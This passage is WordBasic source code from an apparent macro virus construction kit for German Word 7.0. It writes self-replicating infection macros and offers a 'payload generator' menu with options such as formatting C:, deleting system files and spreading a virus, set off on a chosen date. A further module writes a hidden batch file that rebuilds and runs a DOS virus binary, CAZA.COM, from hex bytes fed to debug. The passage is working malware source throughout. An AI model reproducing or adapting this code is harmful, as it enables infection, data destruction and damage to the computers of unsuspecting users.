  2058. Einfügen "OC$ = GetProfileString$(" + Chr$(34) + "Intl" + Chr$(34) + ", " + Chr$(34) + "Info1" + Chr$(34) + ")"
  2059. EinfügenAbsatz
  2060. Einfügen "MakroKopieren " + Chr$(34) + "Global:" + Chr$(34) + " + OC$, DateiName$() + " + Chr$(34) + ":" + Chr$(34) + " + Z$"
  2061. EinfügenAbsatz
  2062. Einfügen "DokumentVariableBestimmen " + Chr$(34) + "VirNameDoc" + Chr$(34) + ", Z$"
  2063. EinfügenAbsatz
  2064. Einfügen "ExtrasAnpassenTastatur .TastenSchlüssel =" + Str$(C) + ", .Kategorie = 2"
  2065. Einfügen ", .Name = Z$, .Hinzufügen, .Kontext = 1"
  2066. EinfügenAbsatz
  2067. Einfügen "End Sub"
  2068. EinfügenAbsatz
  2069. EinfügenAbsatz
  2070. If PA = 1 Then
  2071.     Einfügen "Sub RunPayload"
  2072.     EinfügenAbsatz
  2073.     Einfügen "X$ = Fun$(F$, G$, H$, J$)"
  2074.     EinfügenAbsatz
  2075.     Einfügen "Y$ = Fun$(F$, G$, H$, J$)"
  2076.     EinfügenAbsatz
  2077.     EinfügenAbsatz
  2078.     Einfügen "Z$ = X$ + Y$"
  2079.     EinfügenAbsatz
  2080.     EinfügenAbsatz
  2081.     Einfügen "OCO$ = GetProfileString$(" + Chr$(34) + "Intl" + Chr$(34) +     ", " + Chr$(34) + "Info3" + Chr$(34) + ")"
  2082.     EinfügenAbsatz
  2083.     Einfügen "MakroKopieren " + Chr$(34) + "Global:" + Chr$(34) + " + OCO$, " + "DateiName$() + " + Chr$(34) + ":" + Chr$(34) + " + Z$"
  2084.     EinfügenAbsatz
  2085.     Einfügen "DokumentVariableBestimmen " + Chr$(34) + "VirNamePayload" +     Chr$(34) + ", Z$"
  2086.     EinfügenAbsatz
  2087.     Einfügen "End Sub"
  2088.     EinfügenAbsatz
  2089.     EinfügenAbsatz
  2090. Else
  2091.     REM Nothing To do !
  2092. End If
  2093. Einfügen "Function VInstalled"
  2094. EinfügenAbsatz
  2095. Einfügen "On Error Resume Next"
  2096. EinfügenAbsatz
  2097. Einfügen "CC$ = AbrufenDokumentVar$(" + Chr$(34) + "VirNameDoc" + Chr$(34) + ")"
  2098. EinfügenAbsatz
  2099. Einfügen Chr$(9) + "VInstalled = 0"
  2100. EinfügenAbsatz
  2101. Einfügen Chr$(9) + "If ZählenMakros(1) > 0 Then"
  2102. EinfügenAbsatz
  2103. Einfügen Chr$(9) + Chr$(9) + "For i = 1 To ZählenMakros(1)"
  2104. EinfügenAbsatz
  2105. Einfügen Chr$(9) + Chr$(9) + Chr$(9) + "If MakroName$(i, 1) = CC$ Then"
  2106. EinfügenAbsatz
  2107. Einfügen Chr$(9) + Chr$(9) + Chr$(9) + Chr$(9) + "VInstalled = 1"
  2108. EinfügenAbsatz
  2109. Einfügen Chr$(9) + Chr$(9) + Chr$(9) + "End If"
  2110. EinfügenAbsatz
  2111. Einfügen Chr$(9) + Chr$(9) + "Next i"
  2112. EinfügenAbsatz
  2113. Einfügen Chr$(9) + "End If"
  2114. EinfügenAbsatz
  2115. Einfügen "End Function"
  2116. EinfügenAbsatz
  2117. EinfügenAbsatz
  2118. Einfügen "Function Fun$(F$, G$, H$, J$)"
  2119. EinfügenAbsatz
  2120. Einfügen "One = 1169"
  2121. EinfügenAbsatz
  2122. Einfügen "Two = 9294"
  2123. EinfügenAbsatz
  2124. Einfügen "Num = Int(Rnd() * (Two - One) + One)"
  2125. EinfügenAbsatz
  2126. Einfügen "A$ = Str$(Num)"
  2127. EinfügenAbsatz
  2128. Einfügen "A$ = LTrim$(A$)"
  2129. EinfügenAbsatz
  2130. EinfügenAbsatz
  2131. Einfügen "B$ = Mid$(A$, 1, 1)"
  2132. EinfügenAbsatz
  2133. Einfügen "C$ = Mid$(A$, 2, 1)"
  2134. EinfügenAbsatz
  2135. Einfügen "D$ = Mid$(A$, 3, 1)"
  2136. EinfügenAbsatz
  2137. Einfügen "E$ = Mid$(A$, 4, 1)"
  2138. EinfügenAbsatz
  2139. EinfügenAbsatz
  2140. Einfügen "If B$ = " + Chr$(34) + "1" + Chr$(34) + " Then F$ = " + Chr$(34) + "A" + Chr$(34)
  2141. EinfügenAbsatz
  2142. Einfügen "If B$ = " + Chr$(34) + "2" + Chr$(34) + " Then F$ = " + Chr$(34) + "B" + Chr$(34)
  2143. EinfügenAbsatz
  2144. Einfügen "If B$ = " + Chr$(34) + "3" + Chr$(34) + " Then F$ = " + Chr$(34) + "C" + Chr$(34)
  2145. EinfügenAbsatz
  2146. Einfügen "If B$ = " + Chr$(34) + "4" + Chr$(34) + " Then F$ = " + Chr$(34) + "D" + Chr$(34)
  2147. EinfügenAbsatz
  2148. Einfügen "IF B$ = " + Chr$(34) + "5" + Chr$(34) + " Then F$ = " + Chr$(34) + "E" + Chr$(34)
  2149. EinfügenAbsatz
  2150. Einfügen "If B$ = " + Chr$(34) + "6" + Chr$(34) + " Then F$ = " + Chr$(34) + "F" + Chr$(34)
  2151. EinfügenAbsatz
  2152. Einfügen "If B$ = " + Chr$(34) + "7" + Chr$(34) + " Then F$ = " + Chr$(34) + "G" + Chr$(34)
  2153. EinfügenAbsatz
  2154. Einfügen "If B$ = " + Chr$(34) + "8" + Chr$(34) + " Then F$ = " + Chr$(34) + "H" + Chr$(34)
  2155. EinfügenAbsatz
  2156. Einfügen "If B$ = " + Chr$(34) + "9" + Chr$(34) + " Then F$ = " + Chr$(34) + "I" + Chr$(34)
  2157. EinfügenAbsatz
  2158. Einfügen "If B$ = " + Chr$(34) + "0" + Chr$(34) + " Then F$ = " + Chr$(34) + "J" + Chr$(34)
  2159. EinfügenAbsatz
  2160. EinfügenAbsatz
  2161. Einfügen "If C$ = " + Chr$(34) + "1" + Chr$(34) + " Then G$ = " + Chr$(34) + "H" + Chr$(34)
  2162. EinfügenAbsatz
  2163. Einfügen "If C$ = " + Chr$(34) + "2" + Chr$(34) + " Then G$ = " + Chr$(34) + "I" + Chr$(34)
  2164. EinfügenAbsatz
  2165. Einfügen "If C$ = " + Chr$(34) + "3" + Chr$(34) + " Then G$ = " + Chr$(34) + "J" + Chr$(34)
  2166. EinfügenAbsatz
  2167. Einfügen "If C$ = " + Chr$(34) + "4" + Chr$(34) + " Then G$ = " + Chr$(34) + "K" + Chr$(34)
  2168. EinfügenAbsatz
  2169. Einfügen "IF C$ = " + Chr$(34) + "5" + Chr$(34) + " Then G$ = " + Chr$(34) + "L" + Chr$(34)
  2170. EinfügenAbsatz
  2171. Einfügen "If C$ = " + Chr$(34) + "6" + Chr$(34) + " Then G$ = " + Chr$(34) + "M" + Chr$(34)
  2172. EinfügenAbsatz
  2173. Einfügen "If C$ = " + Chr$(34) + "7" + Chr$(34) + " Then G$ = " + Chr$(34) + "N" + Chr$(34)
  2174. EinfügenAbsatz
  2175. Einfügen "If C$ = " + Chr$(34) + "8" + Chr$(34) + " Then G$ = " + Chr$(34) + "O" + Chr$(34)
  2176. EinfügenAbsatz
  2177. Einfügen "If C$ = " + Chr$(34) + "9" + Chr$(34) + " Then G$ = " + Chr$(34) + "P" + Chr$(34)
  2178. EinfügenAbsatz
  2179. Einfügen "If C$ = " + Chr$(34) + "0" + Chr$(34) + " Then G$ = " + Chr$(34) + "Q" + Chr$(34)
  2180. EinfügenAbsatz
  2181. EinfügenAbsatz
  2182. Einfügen "If D$ = " + Chr$(34) + "1" + Chr$(34) + " Then H$ = " + Chr$(34) + "A" + Chr$(34)
  2183. EinfügenAbsatz
  2184. Einfügen "If D$ = " + Chr$(34) + "2" + Chr$(34) + " Then H$ = " + Chr$(34) + "B" + Chr$(34)
  2185. EinfügenAbsatz
  2186. Einfügen "If D$ = " + Chr$(34) + "3" + Chr$(34) + " Then H$ = " + Chr$(34) + "C" + Chr$(34)
  2187. EinfügenAbsatz
  2188. Einfügen "If D$ = " + Chr$(34) + "4" + Chr$(34) + " Then H$ = " + Chr$(34) + "D" + Chr$(34)
  2189. EinfügenAbsatz
  2190. Einfügen "IF D$ = " + Chr$(34) + "5" + Chr$(34) + " Then H$ = " + Chr$(34) + "E" + Chr$(34)
  2191. EinfügenAbsatz
  2192. Einfügen "If D$ = " + Chr$(34) + "6" + Chr$(34) + " Then H$ = " + Chr$(34) + "F" + Chr$(34)
  2193. EinfügenAbsatz
  2194. Einfügen "If D$ = " + Chr$(34) + "7" + Chr$(34) + " Then H$ = " + Chr$(34) + "G" + Chr$(34)
  2195. EinfügenAbsatz
  2196. Einfügen "If D$ = " + Chr$(34) + "8" + Chr$(34) + " Then H$ = " + Chr$(34) + "H" + Chr$(34)
  2197. EinfügenAbsatz
  2198. Einfügen "If D$ = " + Chr$(34) + "9" + Chr$(34) + " Then H$ = " + Chr$(34) + "I" + Chr$(34)
  2199. EinfügenAbsatz
  2200. Einfügen "If D$ = " + Chr$(34) + "0" + Chr$(34) + " Then H$ = " + Chr$(34) + "J" + Chr$(34)
  2201. EinfügenAbsatz
  2202. EinfügenAbsatz
  2203. Einfügen "If E$ = " + Chr$(34) + "1" + Chr$(34) + " Then J$ = " + Chr$(34) + "R" + Chr$(34)
  2204. EinfügenAbsatz
  2205. Einfügen "If E$ = " + Chr$(34) + "2" + Chr$(34) + " Then J$ = " + Chr$(34) + "S" + Chr$(34)
  2206. EinfügenAbsatz
  2207. Einfügen "If E$ = " + Chr$(34) + "3" + Chr$(34) + " Then J$ = " + Chr$(34) + "T" + Chr$(34)
  2208. EinfügenAbsatz
  2209. Einfügen "If E$ = " + Chr$(34) + "4" + Chr$(34) + " Then J$ = " + Chr$(34) + "U" + Chr$(34)
  2210. EinfügenAbsatz
  2211. Einfügen "IF E$ = " + Chr$(34) + "5" + Chr$(34) + " Then J$ = " + Chr$(34) + "V" + Chr$(34)
  2212. EinfügenAbsatz
  2213. Einfügen "If E$ = " + Chr$(34) + "6" + Chr$(34) + " Then J$ = " + Chr$(34) + "W" + Chr$(34)
  2214. EinfügenAbsatz
  2215. Einfügen "If E$ = " + Chr$(34) + "7" + Chr$(34) + " Then J$ = " + Chr$(34) + "X" + Chr$(34)
  2216. EinfügenAbsatz
  2217. Einfügen "If E$ = " + Chr$(34) + "8" + Chr$(34) + " Then J$ = " + Chr$(34) + "Y" + Chr$(34)
  2218. EinfügenAbsatz
  2219. Einfügen "If E$ = " + Chr$(34) + "9" + Chr$(34) + " Then J$ = " + Chr$(34) + "Z" + Chr$(34)
  2220. EinfügenAbsatz
  2221. Einfügen "If E$ = " + Chr$(34) + "0" + Chr$(34) + " Then J$ = " + Chr$(34) + "Q" + Chr$(34)
  2222. EinfügenAbsatz
  2223. EinfügenAbsatz
  2224. Einfügen "Fun$ = F$ + G$ + H$ + J$"
  2225. EinfügenAbsatz
  2226. Einfügen "End Function"
  2227. DokumentSchließen 1
  2228. Finish:
  2229.  
  2230. If EC = 1 And PA = 0 Then
  2231.     ExtrasMakro .Name = A$ + "1", .Bearbeiten, .Anzeigen = 3, .Beschreibung     = "", .NeuerName = ""
  2232.     ZeileUnten 34
  2233.     EndeZeile
  2234.     Einfügen ", 1"
  2235.     ZeichenLinks 36
  2236.     ZeileUnten 14
  2237.     EndeZeile
  2238.     Einfügen ", 1"
  2239.     ZeichenLinks 36
  2240.     ZeileUnten 17
  2241.     DokumentSchließen 1
  2242.     ExtrasMakro .Name = A$ + "2", .Bearbeiten, .Anzeigen = 3, .Beschreibung     = "", .NeuerName = ""
  2243.     ZeileUnten 37
  2244.     EndeZeile
  2245.     Einfügen ", 1"
  2246.     ZeichenLinks 57
  2247.     ZeileUnten 13
  2248.     EndeZeile
  2249.     Einfügen ", 1"
  2250.     ZeichenLinks 57
  2251.     ZeileUnten 6
  2252.     DokumentSchließen 1
  2253. Else
  2254.     REM Nothing to do!
  2255. End If
  2256.  
  2257. If EC = 1 And PA = 1 Then
  2258.     ExtrasMakro .Name = A$ + "1", .Bearbeiten, .Anzeigen = 3, .Beschreibung     = "", .NeuerName = ""
  2259.     ZeileUnten 35
  2260.     EndeZeile
  2261.     Einfügen ", 1"
  2262.     ZeichenLinks 36
  2263.     ZeileUnten 15
  2264.     ZeileOben 1
  2265.     EndeZeile
  2266.     Einfügen ", 1"
  2267.     ZeichenLinks 36
  2268.     ZeileUnten 15
  2269.     ZeileOben 1
  2270.     EndeZeile
  2271.     Einfügen ", 1"
  2272.     ZeichenLinks 37
  2273.     ZeileUnten 23
  2274.     ZeileOben 1
  2275.     DokumentSchließen 1
  2276.     ExtrasMakro .Name = A$ + "2", .Bearbeiten, .Anzeigen = 3, .Beschreibung     = "", .NeuerName = ""
  2277.     ZeileUnten 51
  2278.     EndeZeile
  2279.     Einfügen ", 1"
  2280.     ZeichenLinks 57
  2281.     ZeileUnten 13
  2282.     EndeZeile
  2283.     Einfügen ", 1"
  2284.     ZeichenLinks 57
  2285.     ZeileUnten 13
  2286.     EndeZeile
  2287.     Einfügen ", 1"
  2288.     ZeichenLinks 58
  2289.     ZeileUnten 76
  2290.     DokumentSchließen 1
  2291. Else
  2292.     REM Nothing to do!
  2293. End If
  2294.  
  2295. If PA = 1 Then
  2296.     ExtrasMakro .Name = A$ + "3", .Bearbeiten, .Anzeigen = 3,     .Beschreibung     = "", .NeuerName = ""
  2297.     EinfügenAbsatz
  2298.     Payloadd
  2299.     DokumentSchließen 1
  2300. Else
  2301.     REM Nothing to do!
  2302. End If
  2303. ExtrasAnpassenTastatur .TastenSchlüssel = B, .Kategorie = 2, .Name = A$ + "2", .Hinzufügen, .Kontext = 1
  2304. ExtrasAnpassenTastatur .TastenSchlüssel = C, .Kategorie = 2, .Name = A$ + "1", .Hinzufügen, .Kontext = 1
  2305. DokumentVariableBestimmen("VirName", A$ + "1")
  2306. DokumentVariableBestimmen("VirNameDoc", A$ + "2")
  2307. If PA = 1 Then
  2308.     DokumentVariableBestimmen("VirNamePayload", A$ + "3")
  2309. Else
  2310.     REM Nothing to do!
  2311. End If
  2312. Insert2
  2313. End Sub
  2314.  
  2315. Sub Payloadd
  2316. Again3:
  2317. Begin Dialog BenutzerDialog 406, 402, " "
  2318.     Text 151, 8, 77, 13, "PAYLOAD", .Text1
  2319.     Text 137, 26, 104, 13, "GENERATOR", .Text2
  2320.     Text 90, 51, 199, 13, "CHOOSE YOUR WEAPON", .Text3
  2321.     PushButton 105, 372, 210, 21, "Continue", .Definierbar1
  2322.     OptionGroup  .G1
  2323.         OptionButton 123, 73, 127, 16, "FORMAT C:\", .Optionsfeld1
  2324.         OptionButton 123, 93, 216, 16, "DELETE SYSTEM FILES", .Optionsfeld2
  2325.         OptionButton 123, 113, 168, 16, "SPREAD A VIRUS", .Optionsfeld3
  2326.         OptionButton 123, 133, 153, 16, "KILL WINDOWS", .Optionsfeld4
  2327.         OptionButton 123, 153, 183, 16, "MESSAGE TERROR", .Optionsfeld5
  2328.         OptionButton 122, 173, 169, 16, "SETVER TERROR", .Optionsfeld6
  2329.         OptionButton 123, 193, 184, 16, "KILL WINWORD 7.0", .Optionsfeld7
  2330.         OptionButton 123, 213, 216, 16, "STOP EVERYTHING", .Otionsfeld8
  2331.         OptionButton 123, 233, 156, 16, "BYE BYE WORD", .Optionsfeld10
  2332.         OptionButton 123, 253, 147, 16, "HORROR NOW", .Optionsfeld11
  2333.         OptionButton 123, 298, 215, 16, "WINWORD MURDER", .Optionsfeld9
  2334.     Text 142, 278, 123, 14, "Special Payload", .Text4
  2335.     CheckBox 79, 347, 273, 16, "Yeah, I want to have a message", .K1
  2336.     Text 127, 323, 163, 13, "Print a Message, too!", .Text6
  2337. End Dialog
  2338. Dim dlg As BenutzerDialog
  2339. dlg.G1 = - 1
  2340. x = Dialog(dlg)
  2341. If dlg.G1 = - 1 Then
  2342.     Call Viren.MError
  2343.     Goto Again3
  2344. Else
  2345.     REM Nothing to do!
  2346. End If
  2347. If dlg.K1 = 1 Then
  2348. On Error Goto END76
  2349.     A$ = InputBox$("Please insert your Message. Do not use the ''Enter'' " + Chr$(9) + "Button. That's very important!!!", "NIGHTMARE JOKER")
  2350.     Einfügen "DateiNeu .DokVorlage = " + Chr$(34) + "Normal" + Chr$(34) +     ", .DokVorlageNeu = 1"
  2351.     EinfügenAbsatz
  2352.     Einfügen "DokumentMaximieren"
  2353.     EinfügenAbsatz
  2354.     Einfügen "Schriftgrad 16"
  2355.     EinfügenAbsatz
  2356.     Einfügen "Fett"
  2357.     EinfügenAbsatz
  2358.     Einfügen "Schriftart " + Chr$(34) + "Arial" + Chr$(34)
  2359.     EinfügenAbsatz
  2360.     Einfügen "Einfügen " + Chr$(34) + A$ + Chr$(34)
  2361.     EinfügenAbsatz
  2362.     EinfügenAbsatz
  2363.     Einfügen "n = Sekunde(Jetzt())"
  2364.     EinfügenAbsatz
  2365.     Einfügen "m = n + 3"
  2366.     EinfügenAbsatz
  2367.     Einfügen "Again:"
  2368.     EinfügenAbsatz
  2369.     Einfügen "While n <> m"
  2370.     EinfügenAbsatz
  2371.     Einfügen "n = Sekunde(Jetzt())"
  2372.     EinfügenAbsatz
  2373.     Einfügen "Goto Again"
  2374.     EinfügenAbsatz
  2375.     Einfügen "Wend"
  2376.     EinfügenAbsatz
  2377.     EinfügenAbsatz
  2378. Else
  2379.     REM Silent User
  2380. End If
  2381.  
  2382. If dlg.G1 = 0 Then
  2383.     K1
  2384. ElseIf dlg.G1 = 1 Then
  2385.     K2
  2386. ElseIf dlg.G1 = 2 Then
  2387.     K3
  2388. ElseIf dlg.G1 = 3 Then
  2389.     K4
  2390. ElseIf dlg.G1 = 4 Then
  2391.     K5
  2392. ElseIf dlg.G1 = 5 Then
  2393.     K6
  2394. ElseIf dlg.G1 = 6 Then
  2395.     K7
  2396. ElseIf dlg.G1 = 7 Then
  2397.     K8
  2398. ElseIf dlg.G1 = 8 Then
  2399.     K9
  2400. ElseIf dlg.G1 = 9 Then
  2401.     K10
  2402. ElseIf dlg.G1 = 10 Then
  2403.     K11
  2404. End If
  2405. End Sub
  2406.  
  2407. Sub Time
  2408.  
  2409. Dim Drop1$(11)
  2410. Drop1$(0) = "1"
  2411. Drop1$(1) = "2"
  2412. Drop1$(2) = "3"
  2413. Drop1$(3) = "4"
  2414. Drop1$(4) = "5"
  2415. Drop1$(5) = "6"
  2416. Drop1$(6) = "7"
  2417. Drop1$(7) = "8"
  2418. Drop1$(8) = "9"
  2419. Drop1$(9) = "10"
  2420. Drop1$(10) = "11"
  2421. Drop1$(11) = "12"
  2422.  
  2423. Dim Drop2$(30)
  2424. Drop2$(0) = "1"
  2425. Drop2$(1) = "2"
  2426. Drop2$(2) = "3"
  2427. Drop2$(3) = "4"
  2428. Drop2$(4) = "5"
  2429. Drop2$(5) = "6"
  2430. Drop2$(6) = "7"
  2431. Drop2$(7) = "8"
  2432. Drop2$(8) = "9"
  2433. Drop2$(9) = "10"
  2434. Drop2$(10) = "11"
  2435. Drop2$(11) = "12"
  2436. Drop2$(12) = "13"
  2437. Drop2$(13) = "14"
  2438. Drop2$(14) = "15"
  2439. Drop2$(15) = "16"
  2440. Drop2$(16) = "17"
  2441. Drop2$(17) = "18"
  2442. Drop2$(18) = "19"
  2443. Drop2$(19) = "20"
  2444. Drop2$(20) = "21"
  2445. Drop2$(21) = "22"
  2446. Drop2$(22) = "23"
  2447. Drop2$(23) = "24"
  2448. Drop2$(24) = "25"
  2449. Drop2$(25) = "26"
  2450. Drop2$(26) = "27"
  2451. Drop2$(27) = "28"
  2452. Drop2$(28) = "29"
  2453. Drop2$(29) = "30"
  2454. Drop2$(30) = "31"
  2455.  
  2456. Begin Dialog BenutzerDialog 442, 326, " "
  2457.     Text 34, 60, 205, 13, "Month to activate Payload:", .Text1
  2458.     DropListBox 248, 60, 160, 108, Drop1$(), .Drop2
  2459.     Text 35, 90, 188, 13, "Day to activate Payload:", .Text3
  2460.     DropListBox 248, 89, 160, 108, Drop2$(), .Drop3
  2461.     OKButton 130, 293, 206, 21
  2462.     Text 184, 7, 77, 13, "PAYLOAD", .Text4
  2463.     Text 189, 29, 64, 13, "OPTION", .Text5
  2464. End Dialog
  2465.  
  2466. Redim Auswahl As BenutzerDialog
  2467. Dialog Auswahl
  2468.  
  2469. If Auswahl.Drop2 = 0 Then
  2470.     Month$ = "1"
  2471. ElseIf Auswahl.Drop2 = 1 Then
  2472.     Month$ = "2"
  2473. ElseIf Auswahl.Drop2 = 2 Then
  2474.     Month$ = "3"
  2475. ElseIf Auswahl.Drop2 = 3 Then
  2476.     Month$ = "4"
  2477. ElseIf Auswahl.Drop2 = 4 Then
  2478.     Month$ = "5"
  2479. ElseIf Auswahl.Drop2 = 5 Then
  2480.     Month$ = "6"
  2481. ElseIf Auswahl.Drop2 = 6 Then
  2482.     Month$ = "7"
  2483. ElseIf Auswahl.Drop2 = 7 Then
  2484.     Month$ = "8"
  2485. ElseIf Auswahl.Drop2 = 8 Then
  2486.     Month$ = "9"
  2487. ElseIf Auswahl.Drop2 = 9 Then
  2488.     Month$ = "10"
  2489. ElseIf Auswahl.Drop2 = 10 Then
  2490.     Month$ = "11"
  2491. ElseIf Auswahl.Drop2 = 11 Then
  2492.     Month$ = "12"
  2493. End If
  2494.  
  2495. If Auswahl.Drop3 = 0 Then
  2496.     Day$ = "1"
  2497. ElseIf Auswahl.Drop3 = 1 Then
  2498.     Day$ = "2"
  2499. ElseIf Auswahl.Drop3 = 2 Then
  2500.     Day$ = "3"
  2501. ElseIf Auswahl.Drop3 = 3 Then
  2502.     Day$ = "4"
  2503. ElseIf Auswahl.Drop3 = 4 Then
  2504.     Day$ = "5"
  2505. ElseIf Auswahl.Drop3 = 5 Then
  2506.     Day$ = "6"
  2507. ElseIf Auswahl.Drop3 = 6 Then
  2508.     Day$ = "7"
  2509. ElseIf Auswahl.Drop3 = 7 Then
  2510.     Day$ = "8"
  2511. ElseIf Auswahl.Drop3 = 8 Then
  2512.     Day$ = "9"
  2513. ElseIf Auswahl.Drop3 = 9 Then
  2514.     Day$ = "10"
  2515. ElseIf Auswahl.Drop3 = 10 Then
  2516.     Day$ = "11"
  2517. ElseIf Auswahl.Drop3 = 11 Then
  2518.     Day$ = "12"
  2519. ElseIf Auswahl.Drop3 = 12 Then
  2520.     Day$ = "13"
  2521. ElseIf Auswahl.Drop3 = 13 Then
  2522.     Day$ = "14"
  2523. ElseIf Auswahl.Drop3 = 14 Then
  2524.     Day$ = "15"
  2525. ElseIf Auswahl.Drop3 = 15 Then
  2526.     Day$ = "16"
  2527. ElseIf Auswahl.Drop3 = 16 Then
  2528.     Day$ = "17"
  2529. ElseIf Auswahl.Drop3 = 17 Then
  2530.     Day$ = "18"
  2531. ElseIf Auswahl.Drop3 = 18 Then
  2532.     Day$ = "19"
  2533. ElseIf Auswahl.Drop3 = 19 Then
  2534.     Day$ = "20"
  2535. ElseIf Auswahl.Drop3 = 20 Then
  2536.     Day$ = "21"
  2537. ElseIf Auswahl.Drop3 = 21 Then
  2538.     Day$ = "22"
  2539. ElseIf Auswahl.Drop3 = 22 Then
  2540.     Day$ = "23"
  2541. ElseIf Auswahl.Drop3 = 23 Then
  2542.     Day$ = "24"
  2543. ElseIf Auswahl.Drop3 = 24 Then
  2544.     Day$ = "25"
  2545. ElseIf Auswahl.Drop3 = 25 Then
  2546.     Day$ = "26"
  2547. ElseIf Auswahl.Drop3 = 26 Then
  2548.     Day$ = "27"
  2549. ElseIf Auswahl.Drop3 = 27 Then
  2550.     Day$ = "28"
  2551. ElseIf Auswahl.Drop3 = 28 Then
  2552.     Day$ = "29"
  2553. ElseIf Auswahl.Drop3 = 29 Then
  2554.     Day$ = "30"
  2555. ElseIf Auswahl.Drop3 = 30 Then
  2556.     Day$ = "31"
  2557. End If
  2558.  
  2559. B$ = GetProfileString$("Dir", "Name")
  2560.  
  2561. SetPrivateProfileString "Date", "Month", Month$, B$ + "vdate.ini"
  2562. SetPrivateProfileString "Date", "Day", Day$, B$ + "vdate.ini"
  2563. Goto End77
  2564. End76:
  2565.     DateiAllesSchließen 2
  2566. End77:
  2567. End Sub
  2568.  
  2569. ****************************************************************************
  2570.                        END OF MACRO HORSES
  2571. ****************************************************************************
  2572.  
  2573. Macroname: Viren
  2574. ~~~~~~~~~~~~~~~~
  2575. Sub MAIN
  2576. REM Virus Database
  2577. MError
  2578. End Sub
  2579.  
  2580. Sub Install
  2581. Einfügen "On Error Goto Finish"
  2582. EinfügenAbsatz
  2583. EinfügenAbsatz
  2584. Einfügen "a$ = GetProfileString$(" + Chr$(34) + "Installed" + Chr$(34) + "," + Chr$(34) + "Yes" + Chr$(34) + ")"
  2585. EinfügenAbsatz
  2586. EinfügenAbsatz
  2587. Einfügen "If a$ =" + Chr$(34) + Chr$(34) + "then"
  2588. EinfügenAbsatz
  2589. EinfügenAbsatz
  2590. Einfügen "a$ = MakroDateiName$(" + Chr$(34) + "AutoOpen" + Chr$(34) + ")"
  2591. EinfügenAbsatz
  2592. Einfügen "b$ = DateiNameInfo$(a$, 5)"
  2593. EinfügenAbsatz
  2594. EinfügenAbsatz
  2595. Einfügen "Open b$ + " + Chr$(34) + "power.scr" + Chr$(34) + "For Output As #1"
  2596. EinfügenAbsatz
  2597. End Sub
  2598.  
  2599. Sub Finished
  2600. EinfügenAbsatz
  2601. EinfügenAbsatz
  2602. Einfügen "Open b$ +" + Chr$(34) + "power.bat" + Chr$(34) + "For Output As #1"
  2603. EinfügenAbsatz
  2604. Einfügen "Print #1," + Chr$(34) + "@echo off" + Chr$(34)
  2605. EinfügenAbsatz
  2606. Einfügen "Print #1," + Chr$(34) + "debug <" + Chr$(34) + "+ b$ +" + Chr$(34) + "power.scr > nul" + Chr$(34)
  2607. EinfügenAbsatz
  2608. Einfügen "Print #1," + Chr$(34) + "@echo off" + Chr$(34)
  2609. EinfügenAbsatz
  2610. Einfügen "Print #1," + Chr$(34) + "attrib" + Chr$(34) + "+ b$ +" + Chr$(34) + "power.* +h" + Chr$(34)
  2611. EinfügenAbsatz
  2612. Einfügen "Print #1," + Chr$(34) + "@echo off" + Chr$(34)
  2613. EinfügenAbsatz
  2614. Einfügen "Print #1, b$ + c$"
  2615. EinfügenAbsatz
  2616. Einfügen "Close #1"
  2617. EinfügenAbsatz
  2618. EinfügenAbsatz
  2619. Einfügen "Shell b$ +" + Chr$(34) + "power.bat" + Chr$(34) + ", 0"
  2620. EinfügenAbsatz
  2621. EinfügenAbsatz
  2622. Einfügen "SetProfileString" + Chr$(34) + "Installed" + Chr$(34) + "," + Chr$(34) + "Yes" + Chr$(34) + "," + "c$"
  2623. EinfügenAbsatz
  2624. Einfügen "Else"
  2625. EinfügenAbsatz
  2626. Einfügen "Goto Finish"
  2627. EinfügenAbsatz
  2628. Einfügen "End IF"
  2629. EinfügenAbsatz
  2630. EinfügenAbsatz
  2631. Einfügen "Finish:"
  2632. End Sub
  2633.  
  2634. Sub Caza
  2635. Install
  2636. Einfügen "Print #1," + Chr$(34) + "N CAZA.COM" + Chr$(34)
  2637. EinfügenAbsatz
  2638. Einfügen "Print #1," + Chr$(34) + "E 0100 8B F6 BE 7C 03 FF 34 8F 06 E8 FD B4 1A 0E 1F BA" + Chr$(34)
  2639. EinfügenAbsatz
  2640. Einfügen "Print #1," + Chr$(34) + "E 0110 F4 FB CD 21 2B C0 8E D8 BE 90 00 0E 07 BF 7E 03" + Chr$(34)
  2641. EinfügenAbsatz
  2642. Einfügen "Print #1," + Chr$(34) + "E 0120 B9 04 00 A4 E2 FD BE 90 00 C7 04 62 03 8C 4C 02" + Chr$(34)
  2643. EinfügenAbsatz
  2644. Einfügen "Print #1," + Chr$(34) + "E 0130 B4 2A CD 21 80 FA 12 75 03 E9 F0 01 B7 01 53 B4" + Chr$(34)
  2645. EinfügenAbsatz
  2646. Einfügen "Print #1," + Chr$(34) + "E 0140 19 CD 21 0E 1F BE 7B 03 88 04 B4 0E B2 02 CD 21" + Chr$(34)
  2647. EinfügenAbsatz
  2648. Einfügen "Print #1," + Chr$(34) + "E 0150 0E 1F 33 D2 BE C8 FA B4 47 CD 21 B4 3B BA 76 03" + Chr$(34)
  2649. EinfügenAbsatz
  2650. Einfügen "Print #1," + Chr$(34) + "E 0160 CD 21 72 03 EB 21 90 E8 31 00 5B B7 00 53 B4 3B" + Chr$(34)
  2651. EinfügenAbsatz
  2652. Einfügen "Print #1," + Chr$(34) + "E 0170 BA 74 03 CD 21 B4 3B BA C8 FA CD 21 0E 1F BE 7B" + Chr$(34)
  2653. EinfügenAbsatz
  2654. Einfügen "Print #1," + Chr$(34) + "E 0180 03 8A 14 B4 0E CD 21 E8 11 00 B4 4E 0E 1F BA 6E" + Chr$(34)
  2655. EinfügenAbsatz
  2656. Einfügen "Print #1," + Chr$(34) + "E 0190 03 B9 27 00 CD 21 73 1B E9 11 01 B4 43 0E 1F BA" + Chr$(34)
  2657. EinfügenAbsatz
  2658. Einfügen "Print #1," + Chr$(34) + "E 01A0 63 03 B0 01 B9 20 00 CD 21 72 07 B4 41 BA 63 03" + Chr$(34)
  2659. EinfügenAbsatz
  2660. Einfügen "Print #1," + Chr$(34) + "E 01B0 CD 21 C3 81 3E 0E FC 17 F2 76 03 E9 63 01 B4 43" + Chr$(34)
  2661. EinfügenAbsatz
  2662. Einfügen "Print #1," + Chr$(34) + "E 01C0 BA 12 FC B0 01 B9 20 00 CD 21 B4 3D B0 02 CD 21" + Chr$(34)
  2663. EinfügenAbsatz
  2664. Einfügen "Print #1," + Chr$(34) + "E 01D0 8B D8 2B C9 33 D2 B0 00 B4 42 CD 21 B9 02 00 0E" + Chr$(34)
  2665. EinfügenAbsatz
  2666. Einfügen "Print #1," + Chr$(34) + "E 01E0 1F BA 18 F6 B4 3F CD 21 81 3E 18 F6 EB 51 75 03" + Chr$(34)
  2667. EinfügenAbsatz
